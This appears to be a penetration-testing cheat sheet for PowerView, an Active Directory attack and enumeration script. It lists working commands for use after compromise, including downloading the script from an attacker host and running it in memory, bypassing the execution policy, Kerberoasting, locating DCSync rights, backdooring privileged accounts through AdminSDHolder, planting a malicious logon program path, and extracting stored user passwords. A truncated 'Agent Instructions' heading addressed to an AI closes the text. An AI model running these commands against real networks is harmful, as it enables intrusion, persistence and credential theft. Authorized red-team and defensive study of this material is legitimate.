# PowerView ## Powerview * Powerview is a powerful powershell script from powershell empire that can be used for enumerating a domain after you have already gained a shell in the system. * Start Powershell - `powershell -ep bypass` `-ep bypasses` the execution policy of powershell allowing you to easily run scripts * Transfer PowerView to the target box (see file transfers page) * Start PowerView ``` . .\Downloads\PowerView.ps1 ``` ### Load into Memory * Host remotely ``` python3 -c http.server 8000 #pull down on victim machine iwr http://:8000/PowerView.ps1 | IEX ``` ### See system info ``` systeminfo ``` ### Enumerate the domain users ``` Get-NetUser | select cn ``` ### Enumerate the domain groups ``` Get-NetGroup -GroupName *admin* ``` ### See shared folders ``` Invoke-ShareFinder ``` ### See Full network information ``` Get-NetComputer -fulldata ``` ### See the operating systems running ``` Get-NetComputer -fulldata | select operatingsystem ``` ### Get all the groups a user is effectively a member of, 'recursing up' using tokenGroups ``` Get-DomainGroup -MemberIdentity ``` ### Get all the effective members of a group, 'recursing down' ``` Get-DomainGroupMember -Identity "Domain Admins" -Recurse ``` ### Use an alterate creadential for any function ``` $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` ### Get GPO Display Name ``` Get-NetGPO | select displayname Get-NetGPO| select * ``` ### Retrieve all the computer dns host names a GPP password applies to ``` Get-DomainOU -GPLink '' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname} ``` ### Get all users with passwords changed > 1 year ago, returning sam account names and password last set times ``` $Date = (Get-Date).AddYears(-1).ToFileTime() Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset ``` ### All enabled users, returning distinguishednames ``` Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname ``` ### All disabled users ``` Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" Get-DomainUser -UACFilter ACCOUNTDISABLE ``` ### All users that require smart card authentication ``` Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)" Get-DomainUser -UACFilter SMARTCARD_REQUIRED ``` ### All users that *don't* require smart card authentication, only returning sam account names ``` Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname ``` ### Use multiple identity types for any *-Domain* function ``` 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff ``` ### Find all users with an SPN set (likely service accounts) ``` Get-DomainUser -SPN ``` ### Check for users who don't have kerberos preauthentication set ``` Get-DomainUser -PreauthNotRequired Get-DomainUser -UACFilter DONT_REQ_PREAUTH ``` ### Find all service accounts in "Domain Admins" ``` Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'} ``` ### Find users with sidHistory set ``` Get-DomainUser -LDAPFilter '(sidHistory=*)' ``` ### Find any users/computers with constrained delegation st ``` Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth ``` ### Enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation ``` $Computers = Get-DomainComputer -Unconstrained $Users = Get-DomainUser -AllowDelegation -AdminCount ``` ### Return the local *groups* of a remote server ``` Get-NetLocalGroup SERVER.domain.local ``` ### Return the local group *members* of a remote server using Win32 API methods (faster but less info) ``` Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local ``` ### Kerberoast any users in a particular OU with SPNs set ``` Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" Find-DomainUserLocation == old Invoke-UserHunter ``` ### Enumerate servers that allow unconstrained Kerberos delegation and show all users logged in ``` Find-DomainUserLocation -ComputerUnconstrained -ShowAll ``` ### Hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation ``` Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation ``` ### Find all computers in a given OU ``` Get-DomainComputer -SearchBase "ldap://OU=..." ``` ### Get the logged on users for all machines in any *server* OU in a particular domain ``` Get-DomainOU -Identity *server* -Domain | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}} ``` ### Enumerate all gobal catalogs in the forest ``` Get-ForestGlobalCatalog ``` ### Turn a list of computer short names to FQDNs, using a global catalog ``` gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname} ``` ### Enumerate the current domain controller policy ``` $DCPolicy = Get-DomainPolicy -Policy DC $DCPolicy.PrivilegeRights # user privilege rights on the dc... ``` ### Enumerate the current domain policy ``` $DomainPolicy = Get-DomainPolicy -Policy Domain $DomainPolicy.KerberosPolicy # useful for golden tickets ;) $DomainPolicy.SystemAccess # password age/etc. ``` ### Enumerate what machines that a particular user/group identity has local admin rights to ``` Get-DomainGPOUserLocalGroupMapping -Identity Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation ``` ### Enumerate what machines that a given user in the specified domain has RDP access rights to ``` Get-DomainGPOUserLocalGroupMapping -Identity -Domain -LocalGroup RDP ``` ### Export a csv of all GPO mappings ``` Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv ``` ### Use alternate credentials for searching for files on the domain * Find-InterestingDomainShareFile == old Invoke-FileFinder ``` $Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password) Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential ``` ### Enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names ``` Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local ``` ### Grant user 'will' the rights to change 'matt's password ``` Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose ``` ### Audit the permissions of AdminSDHolder, resolving GUIDs ``` Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs ``` ### Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse ``` Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All ``` ### Retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) ``` Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') } ``` ### Find linked DA accounts using name correlation ``` Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname} ``` ### Save a PowerView object to disk for later usage ``` Get-DomainUser | Export-Clixml user.xml $Users = Import-Clixml user.xml ``` ### Find any machine accounts in privileged groups ``` Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} ``` ### Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights ``` Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} ``` ### Find all policies applied to a current machine ``` Get-DomainGPO -ComputerIdentity windows1.testlab.local ``` ### Enumerate all groups in a domain that don't have a global scope, returning just group names ``` Get-DomainGroup -GroupScope NotGlobal -Properties name ``` ### Enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships * Query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames ``` $ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname $Domains = @{} $ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) { # extract the domain the foreign user was added to $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # check if we've already enumerated this domain if (-not $Domains[$ForeignUserDomain]) { $Domains[$ForeignUserDomain] = $True # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))" Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member } } $ForeignMemberships | fl ``` * If running in -sta mode, impersonate another credential a la "runas /netonly" ``` $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred # ... action Invoke-RevertToSelf ``` * Enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer ``` Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier ``` ### Set the specified property for the given user identity ``` Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose ``` ### Set the owner of 'dfm' in the current domain to 'harmj0y' ``` Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y ``` ### Retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) ``` Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') } ``` ### Check if any user passwords are set ``` $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl ``` ### Map all domain trusts ``` Get-DomainTrustMapping ``` ### Test local admin access on a remote host ``` Test-AdminAccess -ComputerName ACADEMY-EA-MS01 ``` ### Find interesting ACLs in the domain ``` Find-InterestingDomainAcl ``` ### Find machines where the current user has local admin access ``` Find-LocalAdminAccess ``` --- # Agent Instructions: Querying This Documentation If you need additional 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